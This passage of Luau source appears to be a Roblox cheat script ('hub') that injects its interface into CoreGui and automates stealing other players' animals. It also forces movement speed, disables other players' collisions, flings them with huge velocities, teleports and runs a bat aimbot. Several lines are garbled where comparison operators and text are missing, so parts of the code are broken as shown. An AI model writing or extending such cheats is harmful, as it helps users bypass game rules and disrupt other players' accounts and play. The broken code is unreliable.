local plot=plots and plots:FindFirstChild(animalData.plot)
if not plot then return false end
local sign=plot:FindFirstChild("PlotSign")
if sign then local yb=sign:FindFirstChild("YourBase"); if yb and yb:IsA("BillboardGui") then return yb.Enabled==true end end
return getPlotOwner(plot)==LP.DisplayName
end
local function scanAllPlots()
if not plots then return end
local newCache={}
for _,plot in ipairs(plots:GetChildren()) do
local cache=plotAnimalSync.caches[plot.Name]
if not cache then continue end
local animalList=cache.AnimalList
if type(animalList)~="table" then continue end
for slot,animalData in pairs(animalList) do
if type(animalData)=="table" then
local animalName=animalData.Index
local displayName=animalName
if AnimalsData then
local info=AnimalsData[animalName]
if info then displayName=info.DisplayName or animalName end
end
table.insert(newCache,{
name=displayName, plot=plot.Name,
slot=tostring(slot), uid=plot.Name.."_"..tostring(slot),
})
end
end
end
allAnimalsCache=newCache
end
task.spawn(function() while true do task.wait(5); pcall(scanAllPlots) end end)
pcall(scanAllPlots)
local function getAnimalPosition(animalData)
if not plots then return nil end
local plot=plots:FindFirstChild(animalData.plot); if not plot then return nil end
local podiums=plot:FindFirstChild("AnimalPodiums"); if not podiums then return nil end
local podium=podiums:FindFirstChild(animalData.slot); if not podium then return nil end
return podium:GetPivot().Position
end
local function distToAnimal(animalData)
local char=LP.Character; if not char then return math.huge end
local hrp=char:FindFirstChild("HumanoidRootPart"); if not hrp then return math.huge end
local pos=getAnimalPosition(animalData); if not pos then return math.huge end
return (hrp.Position-pos).Magnitude
end
local function findProximityPromptForAnimal(animalData)
if not animalData then return nil end
local cached=SemiPromptCache[animalData.uid]
if cached and cached.Parent then return cached end
if not plots then return nil end
local plot=plots:FindFirstChild(animalData.plot); if not plot then return nil end
local podiums=plot:FindFirstChild("AnimalPodiums"); if not podiums then return nil end
local podium=podiums:FindFirstChild(animalData.slot); if not podium then return nil end
local base=podium:FindFirstChild("Base"); if not base then return nil end
local spawn=base:FindFirstChild("Spawn"); if not spawn then return nil end
local attach=spawn:FindFirstChild("PromptAttachment"); if not attach then return nil end
for _,p in ipairs(attach:GetChildren()) do
if p:IsA("ProximityPrompt") then SemiPromptCache[animalData.uid]=p; return p end
end
return nil
end
local function pickClosest()
local char=LP.Character; if not char then return nil end
local hrp=char:FindFirstChild("HumanoidRootPart"); if not hrp then return nil end
local best,bestDist=nil,math.huge
for _,animalData in ipairs(allAnimalsCache) do
if isMyBaseAnimal(animalData) then continue end
local pos=getAnimalPosition(animalData); if not pos then continue end
local dist=(hrp.Position-pos).Magnitude
if dist>SEMI_CONFIG.PRIME_RANGE then continue end
if dist0 or #data.triggerCallbacks>0 then SemiCallbackCache[prompt]=data end
end
local function executeSemiStealAsync(prompt, animalData)
local data=SemiCallbackCache[prompt]
if not data or not data.ready then return false end
data.ready=false
SemiSteal.State.active=true
SemiSteal.State.startTime=tick()
SemiSteal.State.inRange=false
SemiSteal.State.phase="holding"
SemiSteal.State.label=animalData.name or "Animal"
isStealing=true
SemiSteal.State.progress=0
SemiSteal.State.duration=SEMI_CONFIG.HOLD_MAX
task.spawn(function()
for _,fn in ipairs(data.holdCallbacks) do task.spawn(fn) end
-- hold phase: fill against HOLD_MAX so the bar keeps climbing
-- through the wait-for-range phase instead of jumping
local holdEnd=SemiSteal.State.startTime+SEMI_CONFIG.HOLD_MIN
while tick()SEMI_CONFIG.HOLD_MAX then break end
if not prompt.Parent then break end
if distToAnimal(animalData)<=(tonumber(Steal.StealRadius) or SEMI_CONFIG.STEAL_RANGE) then
SemiSteal.State.inRange=true
if not alreadyInRange then task.wait(SEMI_CONFIG.ENTRY_DELAY) end
for _,fn in ipairs(data.triggerCallbacks) do task.spawn(fn) end
if _GACC.autoCarryWatch then _GACC.autoCarryWatch(1.25) end
fired=true
break
end
task.wait()
end
if fired then
SemiSteal.State.progress=1
SemiSteal.State.totalSteals=SemiSteal.State.totalSteals+1
SemiSteal.State.lastResult="Stole "..SemiSteal.State.label
else
SemiSteal.State.failedSteals=SemiSteal.State.failedSteals+1
SemiSteal.State.lastResult="Missed window: "..SemiSteal.State.label
end
SemiSteal.State.lastResultTime=tick()
task.wait(SEMI_CONFIG.COOLDOWN)
SemiSteal.State.active=false
SemiSteal.State.inRange=false
SemiSteal.State.phase="idle"
SemiSteal.State.progress=0
isStealing=false
data.ready=true
end)
return true
end
local function attemptSemiSteal(prompt, animalData)
if not prompt or not prompt.Parent then return false end
buildSemiCallbacks(prompt)
if not SemiCallbackCache[prompt] then return false end
return executeSemiStealAsync(prompt, animalData)
end
local semiConn=nil
_GACC.startRitualSemi=function()
if semiConn then return end
pcall(scanAllPlots)
semiConn=RunService.Heartbeat:Connect(function()
if not Steal.AutoStealEnabled or stealMode~="semi" or isStealing then return end
if SemiSteal.State.active then return end
local target=pickClosest(); if not target then return end
local prompt=SemiPromptCache[target.uid]
if not prompt or not prompt.Parent then prompt=findProximityPromptForAnimal(target) end
if prompt then attemptSemiSteal(prompt,target) end
end)
end
_GACC.stopRitualSemi=function()
if semiConn then semiConn:Disconnect(); semiConn=nil end
SemiSteal.State.active=false
SemiSteal.State.inRange=false
SemiSteal.State.phase="idle"
isStealing=false
end
end
-- Runs the semi engine setup. Spawned because it does WaitForChild on
-- Plots / Packages / Datas and would otherwise stall the load by ~16s.
task.spawn(function() pcall(_initSemiStealEngine) end)
end
do
local opConnection=nil
local opPromptData={}
local function opIsMyPlot(plot)
local sign=plot and plot:FindFirstChild("PlotSign")
local yourBase=sign and sign:FindFirstChild("YourBase")
return yourBase and yourBase:IsA("BillboardGui") and yourBase.Enabled==true
end
local function opPromptPosition(prompt)
local attachment=prompt and prompt.Parent
local spawn=attachment and attachment.Parent
return spawn and spawn:IsA("BasePart") and spawn.Position or nil
end
local function findNearestOPPrompt()
local character=LP.Character
local root=character and character:FindFirstChild("HumanoidRootPart")
local plotsFolder=workspace:FindFirstChild("Plots")
if not root or not plotsFolder then return nil end
local nearest,minDistance=nil,math.huge
for _,plot in ipairs(plotsFolder:GetChildren()) do
if not opIsMyPlot(plot) then
local podiums=plot:FindFirstChild("AnimalPodiums")
if podiums then
for _,podium in ipairs(podiums:GetChildren()) do
local base=podium:FindFirstChild("Base")
local spawn=base and base:FindFirstChild("Spawn")
local attachment=spawn and spawn:FindFirstChild("PromptAttachment")
if spawn and attachment then
local distance=(spawn.Position-root.Position).Magnitude
if distance<=_GACC.V_RADIUS and distance_GACC.V_RADIUS then cancelled=true;break end
SemiSteal.State.inRange=true
SemiSteal.State.progress=math.clamp(elapsed/duration,0,1)
if elapsed>=stopAt then break end
task.wait()
end
if not stillRunning() then cancelled=true end
if not cancelled then
local stopProgress=math.clamp(stopAt/duration,0,1)
SemiSteal.State.progress=stopProgress;SemiSteal.State.paused=true;SemiSteal.State.phase="waiting"
local delayTime=math.max(2.99-stopAt-math.max(duration-stopAt,0),.05)
local delayStarted=tick()
local enteredDelayRadius=false
while stillRunning() and tick()-delayStarted_GACC.V_RADIUS then cancelled=true;break end
SemiSteal.State.inRange=distance<=_GACC.V_DELAYRAD
if SemiSteal.State.inRange then enteredDelayRadius=true;break end
task.wait()
end
if not stillRunning() then cancelled=true end
if enteredDelayRadius and not cancelled then
SemiSteal.State.paused=false;SemiSteal.State.phase="finishing"
local finishStarted=tick()
local remaining=math.max(duration-stopAt,.05)
while stillRunning() do
local finishProgress=math.clamp((tick()-finishStarted)/remaining,0,1)
SemiSteal.State.progress=stopProgress+finishProgress*(1-stopProgress)
if finishProgress>=1 then break end
task.wait()
end
if stillRunning() then
for _,callback in ipairs(data.trigger) do task.spawn(callback) end
fired=true;SemiSteal.State.progress=1
end
end
end
else
local started=tick()
while stillRunning() do
local elapsed=tick()-started
local distance=distanceFromPrompt()
if not distance or distance>_GACC.V_RADIUS then cancelled=true;break end
SemiSteal.State.inRange=true;SemiSteal.State.progress=math.clamp(elapsed/duration,0,1)
if elapsed>=duration then
for _,callback in ipairs(data.trigger) do task.spawn(callback) end
fired=true;SemiSteal.State.progress=1
break
end
task.wait()
end
end
task.wait(.05)
finishOPSteal(data,fired)
end)
end
startSemiAutoSteal=function()
if stealMode=="semi" then
if _GACC.startRitualSemi then
_GACC.startRitualSemi()
else
-- engine still spinning up (WaitForChild); retry until it lands
task.spawn(function()
for _=1,40 do
task.wait(0.5)
if not Steal.AutoStealEnabled or stealMode~="semi" then return end
if _GACC.startRitualSemi then _GACC.startRitualSemi(); return end
end
end)
end
return
end
if not _GACC.isVersionMode(stealMode) then return end
if opConnection then return end
opConnection=RunService.Heartbeat:Connect(function()
if not Steal.AutoStealEnabled or not _GACC.isVersionMode(stealMode) or isStealing or SemiSteal.State.active then return end
local prompt=findNearestOPPrompt()
if prompt then executeOPSteal(prompt) end
end)
end
stopSemiAutoSteal=function()
if _GACC.stopRitualSemi then _GACC.stopRitualSemi() end
if opConnection then opConnection:Disconnect();opConnection=nil end
for _,data in pairs(opPromptData) do data.ready=true end
SemiSteal.State.active=false;SemiSteal.State.progress=0;SemiSteal.State.inRange=false;SemiSteal.State.paused=false;SemiSteal.State.phase="idle"
isStealing=false;stealStartTime=nil
end
end
do
local function showRoundResultMessage(text)
local guiName="MoveeRoundResult"
pcall(function() local old=game:GetService("CoreGui"):FindFirstChild(guiName); if old then old:Destroy() end end)
pcall(function() local pgui=LP:FindFirstChild("PlayerGui"); local old=pgui and pgui:FindFirstChild(guiName); if old then old:Destroy() end end)
local sg=Instance.new("ScreenGui"); sg.Name=guiName; sg.ResetOnSpawn=false; sg.IgnoreGuiInset=true; sg.DisplayOrder=90
pcall(function() if syn and syn.protect_gui then syn.protect_gui(sg) end end)
if not pcall(function() sg.Parent=game:GetService("CoreGui") end) then sg.Parent=LP:WaitForChild("PlayerGui") end
local lbl=Instance.new("TextLabel",sg)
lbl.AnchorPoint=Vector2.new(0.5,0.5); lbl.Position=UDim2.new(0.5,0,0.38,0); lbl.Size=UDim2.new(0,500,0,70)
lbl.BackgroundTransparency=1; lbl.Text=text; lbl.Font=Enum.Font.GothamBlack; lbl.TextSize=44
lbl.TextColor3=Color3.fromRGB(255,255,255); lbl.TextStrokeTransparency=0.15; lbl.TextTransparency=1
local grad=Instance.new("UIGradient",lbl)
grad.Color=ColorSequence.new({
ColorSequenceKeypoint.new(0, Color3.fromRGB(230,230,230)),
ColorSequenceKeypoint.new(0.35,Color3.fromRGB(255,255,255)),
ColorSequenceKeypoint.new(0.65,Color3.fromRGB(150,150,150)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(10,10,10))
})
task.spawn(function()
local t=0
while grad and grad.Parent do t=t+0.05; grad.Rotation=math.sin(t*0.6)*25; task.wait(0.04) end
end)
TweenService:Create(lbl,TweenInfo.new(0.25),{TextTransparency=0}):Play()
task.delay(1.6,function()
if lbl and lbl.Parent then
TweenService:Create(lbl,TweenInfo.new(0.4),{TextTransparency=1,Position=UDim2.new(0.5,0,0.34,0)}):Play()
end
end)
task.delay(2.2,function() pcall(function() sg:Destroy() end) end)
end
local lastRoundText,lastRoundTime="",0
local function handleRoundText(txt)
if type(txt)~="string" or txt=="" then return end
local trimmed=txt:gsub("^%s+",""):gsub("%s+$","")
local name=trimmed:match("^@?([%w_]+)%s+[Ww][Oo][Nn]%s+[Tt][Hh][Ii][Ss]%s+[Rr][Oo][Uu][Nn][Dd]!?$")
if not name then return end
local now=tick()
if trimmed==lastRoundText and (now-lastRoundTime)<3 then return end
lastRoundText=trimmed; lastRoundTime=now
if string.lower(name)==string.lower(LP.Name) then
showRoundResultMessage("Good job!")
else
showRoundResultMessage("Lock In")
end
end
local function isOwnGui(inst)
local cur=inst
while cur do
local n=cur.Name
if type(n)=="string" and n:sub(1,5)=="Movee" then return true end
cur=cur.Parent
end
return false
end
local function watchInstance(inst)
if not (inst:IsA("TextLabel") or inst:IsA("TextButton")) then return end
if isOwnGui(inst) then return end
handleRoundText(inst.Text)
inst:GetPropertyChangedSignal("Text"):Connect(function() handleRoundText(inst.Text) end)
end
local function watchGuiRoot(root)
if not root then return end
for _,d in ipairs(root:GetDescendants()) do pcall(watchInstance,d) end
root.DescendantAdded:Connect(function(d) pcall(watchInstance,d) end)
end
task.spawn(function()
watchGuiRoot(LP:WaitForChild("PlayerGui"))
pcall(function() watchGuiRoot(game:GetService("CoreGui")) end)
end)
end
RunService.Stepped:Connect(function()
for _,p in ipairs(Players:GetPlayers()) do if p~=LP and p.Character then for _,part in ipairs(p.Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide=false end end end end
end)
local function _getOrMakeLV(hrp)
local lv = hrp:FindFirstChild("_RHSpeedLV")
local att = hrp:FindFirstChild("RootAttachment")
if not att then
att = Instance.new("Attachment")
att.Name = "RootAttachment"
att.Parent = hrp
end
if not lv then
lv = Instance.new("LinearVelocity")
lv.Name = "_RHSpeedLV"
lv.Parent = hrp
end
lv.Attachment0 = att
lv.RelativeTo = Enum.ActuatorRelativeTo.World
lv.VelocityConstraintMode = Enum.VelocityConstraintMode.Plane
lv.PrimaryTangentAxis = Vector3.new(1, 0, 0)
lv.SecondaryTangentAxis = Vector3.new(0, 0, 1)
lv.PlaneVelocity = Vector2.new(0, 0)
lv.MaxForce = math.huge
return lv
end
local function _speedLVSet(hrp, x, z)
local lv = _getOrMakeLV(hrp)
lv.PlaneVelocity = Vector2.new(x, z)
end
local function _speedLVClear(hrp)
local lv = hrp:FindFirstChild("_RHSpeedLV")
if lv then lv:Destroy() end
end
-- ==================== ANTI-FLING CLAMP ====================
-- Walking into a wall while the speed constraint is running at MaxForce=huge
-- makes the solver pile up an impulse it cannot resolve; when the contact
-- finally breaks, that energy launches you.
--
-- This runs on Heartbeat, AFTER physics has solved, and simply caps what came
-- back out. Nothing about the speed system is touched, and there is no
-- raycasting, so movement can never be blocked. Normal walking is always at
-- your set speed, well under the trigger, so this sits idle until a real
-- fling happens.
RunService.Heartbeat:Connect(function()
-- these drive the root hard on purpose and legitimately exceed walk speed
if autoBatEnabled or autoLeftEnabled or autoRightEnabled or batDesyncTpEnabled then return end
local char=LP.Character;if not char then return end
local hum=char:FindFirstChildOfClass("Humanoid");if not hum then return end
if isRagdollState(hum) then return end -- ragdolls are supposed to tumble
local hrp=char:FindFirstChild("HumanoidRootPart");if not hrp then return end
local cap=getActiveMoveSpeed()
local v=hrp.AssemblyLinearVelocity
local flat=Vector3.new(v.X,0,v.Z)
local m=flat.Magnitude
local newY=v.Y
-- a fling throws you upward far harder than any jump (inf jump uses 55)
if newY>95 then newY=95 end
if m>cap*1.6 and m>0.01 then
local u=flat/m
hrp.AssemblyLinearVelocity=Vector3.new(u.X*cap,newY,u.Z*cap)
elseif newY~=v.Y then
hrp.AssemblyLinearVelocity=Vector3.new(v.X,newY,v.Z)
end
end)
RunService.RenderStepped:Connect(function()
local char=LP.Character;if not char then return end
local hum=char:FindFirstChildOfClass("Humanoid");local hrp=char:FindFirstChild("HumanoidRootPart");if not hum or not hrp then return end
if isRagdollState(hum) then lastMoveDir=Vector3.new(0,0,0);_speedLVClear(hrp);return end
if not autoBatEnabled and not autoLeftEnabled and not autoRightEnabled then
local md=hum.MoveDirection;local spd=getActiveMoveSpeed()
if md.Magnitude>0 then
lastMoveDir=md
_speedLVSet(hrp, md.X*spd, md.Z*spd)
elseif antiRagdollEnabled and lastMoveDir.Magnitude>0 then
local anyHeld=false;for key in pairs(MOVE_KEYS) do if UIS:IsKeyDown(key) then anyHeld=true;break end end
if anyHeld then _speedLVSet(hrp, lastMoveDir.X*spd, lastMoveDir.Z*spd)
else _speedLVClear(hrp) end
else
_speedLVClear(hrp)
end
end
-- speed label is now handled by Overhead system; we don't use speedLabel variable anymore.
end)
do
local alConn,arConn=nil,nil;local alPhase,arPhase=1,1
-- Returns true once the waypoint is reached.
local function _apStep(hrp,hum,target,spd,dt)
local tgt=Vector3.new(target.X,hrp.Position.Y,target.Z)
local delta=tgt-hrp.Position
local dist=delta.Magnitude
if dist<1 then return true end
local mv=Vector3.new(delta.X,0,delta.Z).Unit
-- full speed until the last stride, then only what is left, so the
-- <1 stud arrival window cannot be stepped over at speed
local step=math.min(spd,dist/math.max(dt,1/240))
hum:Move(mv,false)
_speedLVSet(hrp,mv.X*step,mv.Z*step)
return false
end
local function _apHalt(hrp,hum)
hum:Move(Vector3.zero,false)
_speedLVClear(hrp)
hrp.AssemblyLinearVelocity=Vector3.new(0,hrp.AssemblyLinearVelocity.Y,0)
end
stopAutoLeft=function()
if alConn then alConn:Disconnect();alConn=nil end;alPhase=1
local char=LP.Character
if char then
local h=char:FindFirstChildOfClass("Humanoid");if h then h:Move(Vector3.zero,false) end
local r=char:FindFirstChild("HumanoidRootPart")
if r then _speedLVClear(r);r.AssemblyLinearVelocity=Vector3.new(0,r.AssemblyLinearVelocity.Y,0) end
end
if autoLeftSetVisual then autoLeftSetVisual(false) end
if mobBtnRefs.autoLeft then mobBtnRefs.autoLeft(false) end
end
stopAutoRight=function()
if arConn then arConn:Disconnect();arConn=nil end;arPhase=1
local char=LP.Character
if char then
local h=char:FindFirstChildOfClass("Humanoid");if h then h:Move(Vector3.zero,false) end
local r=char:FindFirstChild("HumanoidRootPart")
if r then _speedLVClear(r);r.AssemblyLinearVelocity=Vector3.new(0,r.AssemblyLinearVelocity.Y,0) end
end
if autoRightSetVisual then autoRightSetVisual(false) end
if mobBtnRefs.autoRight then mobBtnRefs.autoRight(false) end
end
startAutoLeft=function()
if alConn then alConn:Disconnect() end;alPhase=1
do local c=LP.Character;local h=c and c:FindFirstChild("HumanoidRootPart");if h then _speedLVClear(h) end end
alConn=RunService.Heartbeat:Connect(function(dt)
if not autoLeftEnabled then return end
local char=LP.Character;if not char then return end
local hrp=char:FindFirstChild("HumanoidRootPart");local hum=char:FindFirstChildOfClass("Humanoid");if not hrp or not hum then return end
if isRagdollState(hum) then hum:Move(Vector3.zero,false);return end
local spd=getAutoPathSpeed()
if alPhase==1 then
if _apStep(hrp,hum,AP_L1,spd,dt) then alPhase=2 end
elseif alPhase==2 then
if _apStep(hrp,hum,AP_L2,spd,dt) then
_apHalt(hrp,hum)
autoLeftEnabled=false
if alConn then alConn:Disconnect();alConn=nil end
alPhase=1
if autoLeftSetVisual then autoLeftSetVisual(false) end
if mobBtnRefs.autoLeft then mobBtnRefs.autoLeft(false) end
return
end
end
if autoMoveSwingEnabled and not _alSwingDebounce then
_alSwingDebounce=true
local bat=findBat()
if bat then
if bat.Parent~=char then pcall(function() hum:EquipTool(bat) end) end
pcall(function() bat:Activate() end)
end
task.delay(autoMoveSwingInterval,function() _alSwingDebounce=false end)
end
end)
end
startAutoRight=function()
if arConn then arConn:Disconnect() end;arPhase=1
do local c=LP.Character;local h=c and c:FindFirstChild("HumanoidRootPart");if h then _speedLVClear(h) end end
arConn=RunService.Heartbeat:Connect(function(dt)
if not autoRightEnabled then return end
local char=LP.Character;if not char then return end
local hrp=char:FindFirstChild("HumanoidRootPart");local hum=char:FindFirstChildOfClass("Humanoid");if not hrp or not hum then return end
if isRagdollState(hum) then hum:Move(Vector3.zero,false);return end
local spd=getAutoPathSpeed()
if arPhase==1 then
if _apStep(hrp,hum,AP_R1,spd,dt) then arPhase=2 end
elseif arPhase==2 then
if _apStep(hrp,hum,AP_R2,spd,dt) then
_apHalt(hrp,hum)
autoRightEnabled=false
if arConn then arConn:Disconnect();arConn=nil end
arPhase=1
if autoRightSetVisual then autoRightSetVisual(false) end
if mobBtnRefs.autoRight then mobBtnRefs.autoRight(false) end
return
end
end
if autoMoveSwingEnabled and not _arSwingDebounce then
_arSwingDebounce=true
local bat=findBat()
if bat then
if bat.Parent~=char then pcall(function() hum:EquipTool(bat) end) end
pcall(function() bat:Activate() end)
end
task.delay(autoMoveSwingInterval,function() _arSwingDebounce=false end)
end
end)
end
end
do -- scoped: file is at Luau's 200-local cap on the main chunk
-- ============================================================
-- DROP METHODS (Green Duels, verbatim)
-- ============================================================
_GACC.dropType = _GACC.dropType or "Jump"
_GACC.DROP_TYPES = {"Stand","Jump"}
_GACC.wfConns = {}
local function disableOtherCollisions()
for _, plr in ipairs(Players:GetPlayers()) do
if plr ~= LP and plr.Character then
for _, part in ipairs(plr.Character:GetChildren()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
end
end
end
-- 1. STAND DROP (Brainrot fling - original Cursed Hub)
local function runStandDrop()
if dropActive then return end
dropActive = true
local colConn = RunService.Stepped:Connect(function()
if not dropActive then return end
disableOtherCollisions()
end)
table.insert(_GACC.wfConns, colConn)
local flingThread = coroutine.create(function()
while dropActive do
RunService.Heartbeat:Wait()
local c = LP.Character
local root = c and c:FindFirstChild("HumanoidRootPart")
if not root then break end
local vel = root.Velocity
root.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
RunService.RenderStepped:Wait()
if root and root.Parent then root.Velocity = vel end
RunService.Stepped:Wait()
if root and root.Parent then root.Velocity = vel + Vector3.new(0, 0.1, 0) end
end
end)
table.insert(_GACC.wfConns, flingThread)
coroutine.resume(flingThread)
task.delay(0.1, function()
dropActive = false
for _, c in ipairs(_GACC.wfConns) do
if typeof(c) == "RBXScriptConnection" then
c:Disconnect()
elseif type(c) == "thread" then
pcall(coroutine.close, c)
end
end
_GACC.wfConns = {}
if _GACC.runAfterDrop then pcall(_GACC.runAfterDrop) end
end)
end
-- 2. JUMP DROP (ascend then teleport)
local DROP_ASCEND_DURATION = 0.22
local DROP_ASCEND_SPEED = 160
local _dropConn = nil
local function runJumpDrop()
if dropActive then return end
local char = LP.Character
if not char then return end
local root = char:FindFirstChild("HumanoidRootPart")
if not root then return end
dropActive = true
local t0 = tick()
if _dropConn then _dropConn:Disconnect() end
_dropConn = RunService.Heartbeat:Connect(function()
local c = LP.Character
local r = c and c:FindFirstChild("HumanoidRootPart")
if not r then
if _dropConn then _dropConn:Disconnect(); _dropConn = nil end
dropActive = false
return
end
if not dropActive then
if _dropConn then _dropConn:Disconnect(); _dropConn = nil end
return
end
if tick() - t0 >= DROP_ASCEND_DURATION then
if _dropConn then _dropConn:Disconnect(); _dropConn = nil end
pcall(function()
local rp = RaycastParams.new()
rp.FilterDescendantsInstances = {c}
rp.FilterType = Enum.RaycastFilterType.Exclude
local rr = workspace:Raycast(r.Position, Vector3.new(0, -3000, 0), rp)
if rr then
local hum = c:FindFirstChildOfClass("Humanoid")
local off = ((hum and hum.HipHeight) or 2) + (r.Size.Y / 2)
r.CFrame = CFrame.new(r.Position.X, rr.Position.Y + off, r.Position.Z)
r.AssemblyLinearVelocity = Vector3.zero
end
end)
dropActive = false
if _GACC.runAfterDrop then pcall(_GACC.runAfterDrop) end
return
end
local lv = r.AssemblyLinearVelocity
r.AssemblyLinearVelocity = Vector3.new(lv.X, DROP_ASCEND_SPEED, lv.Z)
end)
end
-- Main drop dispatcher
local function runSelectedDrop()
if _GACC.dropType == "Stand" then
runStandDrop()
else
runJumpDrop()
end
end
runDrop = runSelectedDrop
-- Cleanup on character remove
LP.CharacterRemoving:Connect(function()
dropActive = false
for _, c in ipairs(_GACC.wfConns) do
if typeof(c) == "RBXScriptConnection" then c:Disconnect()
elseif type(c) == "thread" then pcall(coroutine.close, c) end
end
_GACC.wfConns = {}
if _dropConn then _dropConn:Disconnect(); _dropConn = nil end
end)
end
do
local function doAutoTPDown(force)
local char=LP.Character;if not char then return end;local hrp=char:FindFirstChild("HumanoidRootPart");if not hrp then return end
local hum2=char:FindFirstChildOfClass("Humanoid");if not hum2 then return end
if not force then if hum2.FloorMaterial~=Enum.Material.Air then return end;if not(hrp.Position.Y>=autoTPHeight) then return end end
hrp.CFrame=CFrame.new(hrp.Position.X,-7.00,hrp.Position.Z)*CFrame.Angles(0,select(2,hrp.CFrame:ToEulerAnglesYXZ()),0);hrp.Velocity=Vector3.zero
end
startAutoTP=function()
if autoTPConn then task.cancel(autoTPConn);autoTPConn=nil end
autoTPConn=task.spawn(function() while autoTPEnabled do task.wait(0.1);pcall(function() doAutoTPDown(false) end) end end)
end
stopAutoTP=function() autoTPEnabled=false;if autoTPConn then task.cancel(autoTPConn);autoTPConn=nil end end
runTPFloor=function() pcall(function() doAutoTPDown(true) end) end
end
do
local STRETCH_NAME="Movee_Stretch"
enableStretchRez=function()
stretchRezEnabled=true;if stretchRezConn then stretchRezConn:Disconnect() end
pcall(function() RunService:UnbindFromRenderStep(STRETCH_NAME) end)
pcall(function() RunService:BindToRenderStep(STRETCH_NAME,Enum.RenderPriority.Last.Value-1,function() local cam=workspace.CurrentCamera;if cam then cam.CFrame=cam.CFrame*CFrame.new(0,0,0,1,0,0,0,0.8,0,0,0,1) end end) end)
end
disableStretchRez=function() stretchRezEnabled=false;pcall(function() RunService:UnbindFromRenderStep(STRETCH_NAME) end) end
local defLightBrightness,defLightClock,defLightAmbient
local function applyAntiLagDerender(obj)
pcall(function()
if obj:IsA("Accessory") or obj:IsA("Hat") then obj:Destroy()
elseif obj:IsA("BasePart") then obj.Material=Enum.Material.Plastic;obj.Reflectance=0;obj.CastShadow=false
elseif obj:IsA("Decal") or obj:IsA("Texture") then obj.Transparency=1
elseif obj:IsA("ParticleEmitter") or obj:IsA("Trail") or obj:IsA("Beam") or obj:IsA("Fire") or obj:IsA("Smoke") or obj:IsA("Sparkles") then obj.Enabled=false end
end)
end
enableAntiLag=function()
removeAccessoriesEnabled=true;antiLagEnabled=true
defLightBrightness=defLightBrightness or Lighting.Brightness;defLightClock=defLightClock or Lighting.ClockTime;defLightAmbient=defLightAmbient or Lighting.OutdoorAmbient
Lighting.GlobalShadows=false;Lighting.FogEnd=1e10;Lighting.Brightness=1;Lighting.EnvironmentDiffuseScale=0;Lighting.EnvironmentSpecularScale=0
for _,e in pairs(Lighting:GetChildren()) do pcall(function() if e:IsA("BlurEffect") or e:IsA("SunRaysEffect") or e:IsA("ColorCorrectionEffect") or e:IsA("BloomEffect") or e:IsA("DepthOfFieldEffect") then e.Enabled=false end end) end
for _,obj in ipairs(workspace:GetDescendants()) do applyAntiLagDerender(obj) end
if antiLagDescConn then antiLagDescConn:Disconnect() end
antiLagDescConn=workspace.DescendantAdded:Connect(function(obj) if removeAccessoriesEnabled then applyAntiLagDerender(obj) end end)
end
disableAntiLag=function()
removeAccessoriesEnabled=false;antiLagEnabled=false;if antiLagDescConn then antiLagDescConn:Disconnect();antiLagDescConn=nil end
pcall(function() if defLightBrightness then Lighting.Brightness=defLightBrightness end;if defLightClock then Lighting.ClockTime=defLightClock end;if defLightAmbient then Lighting.OutdoorAmbient=defLightAmbient end;Lighting.ExposureCompensation=0 end)
end
end
do
local function findMedusa()
local c=LP.Character;if not c then return nil end
for _,t in ipairs(c:GetChildren()) do if t:IsA("Tool") then local n=t.Name:lower();if n:find("medusa") or n:find("head") or n:find("stone") then return t end end end
local bp=LP:FindFirstChild("Backpack");if bp then for _,t in ipairs(bp:GetChildren()) do if t:IsA("Tool") then local n=t.Name:lower();if n:find("medusa") or n:find("head") or n:find("stone") then return t end end end end
return nil
end
local function useMedusaCounter()
if medusaDebounce then return end;if MEDUSA_COOLDOWN>(tick()-medusaLastUsed) then return end
local c=LP.Character;if not c then return end;medusaDebounce=true
local med=findMedusa();if not med then medusaDebounce=false;return end
if med.Parent~=c then local hum2=c:FindFirstChildOfClass("Humanoid");if hum2 then hum2:EquipTool(med) end end
pcall(function() med:Activate() end);medusaLastUsed=tick();medusaDebounce=false
end
local function onAnchorChanged(part)
return part:GetPropertyChangedSignal("Anchored"):Connect(function()
if part.Anchored and part.Transparency==1 then
if medusaCounterEnabled then useMedusaCounter() end
end
end)
end
setupMedusa=function(char)
for _,c in pairs(Conns.anchor) do pcall(function() c:Disconnect() end) end;Conns.anchor={}
if not char then return end
for _,part in ipairs(char:GetDescendants()) do if part:IsA("BasePart") then table.insert(Conns.anchor,onAnchorChanged(part)) end end
table.insert(Conns.anchor,char.DescendantAdded:Connect(function(part) if part:IsA("BasePart") then table.insert(Conns.anchor,onAnchorChanged(part)) end end))
end
stopMedusaCounter=function() for _,c in pairs(Conns.anchor) do pcall(function() c:Disconnect() end) end;Conns.anchor={} end
end
-- Dice Bat/TP Bat engine is the sole active implementation.
-- ==================== ROOT-CONTROL EXCLUSIVITY ====================
-- Turns off every root-driving feature except `keep`, and syncs both the
-- menu toggle and the mobile button for each one. Call this from anywhere
-- that switches one of them on.
-- ==================== AFTER DROP ====================
-- "Off" | "Bat Aimbot" | "Bat TP" - what to switch on once a Drop Brainrot
-- finishes landing.
_GACC.afterDrop = _GACC.afterDrop or "Off"
_GACC.AFTER_DROP_OPTIONS = {"Off","Bat Aimbot","Bat TP"}
_GACC.runAfterDrop = function()
local mode = _GACC.afterDrop
if mode ~= "Bat Aimbot" and mode ~= "Bat TP" then return end
-- let the landing settle before taking the root back
task.delay(0.12, function()
if dropActive then return end -- another drop started
if _GACC.safeIsLocked and _GACC.safeIsLocked() then return end -- safe mode says no
local char = LP.Character
if not char then return end
local hum = char:FindFirstChildOfClass("Humanoid")
if not hum or hum.Health <= 0 then return end
if mode == "Bat Aimbot" then
_GACC.exclusiveStop("batAimbot")
autoBatEnabled = true
pcall(startBatAimbot)
if autoBatSetVisual then autoBatSetVisual(true) end
if mobBtnRefs.autoBat then mobBtnRefs.autoBat(true) end
else
_GACC.exclusiveStop("batTp")
batDesyncTpEnabled = true
pcall(startBatDesyncTp)
if batDesyncTpSetVisual then batDesyncTpSetVisual(true) end
if mobBtnRefs.tpBat then mobBtnRefs.tpBat(true) end
end
end)
end
_GACC.exclusiveStop = function(keep)
if keep ~= "batAimbot" and autoBatEnabled then
autoBatEnabled = false
pcall(stopBatAimbot)
if autoBatSetVisual then autoBatSetVisual(false) end
if mobBtnRefs.autoBat then mobBtnRefs.autoBat(false) end
end
if keep ~= "batTp" and batDesyncTpEnabled then
batDesyncTpEnabled = false
pcall(stopBatDesyncTp)
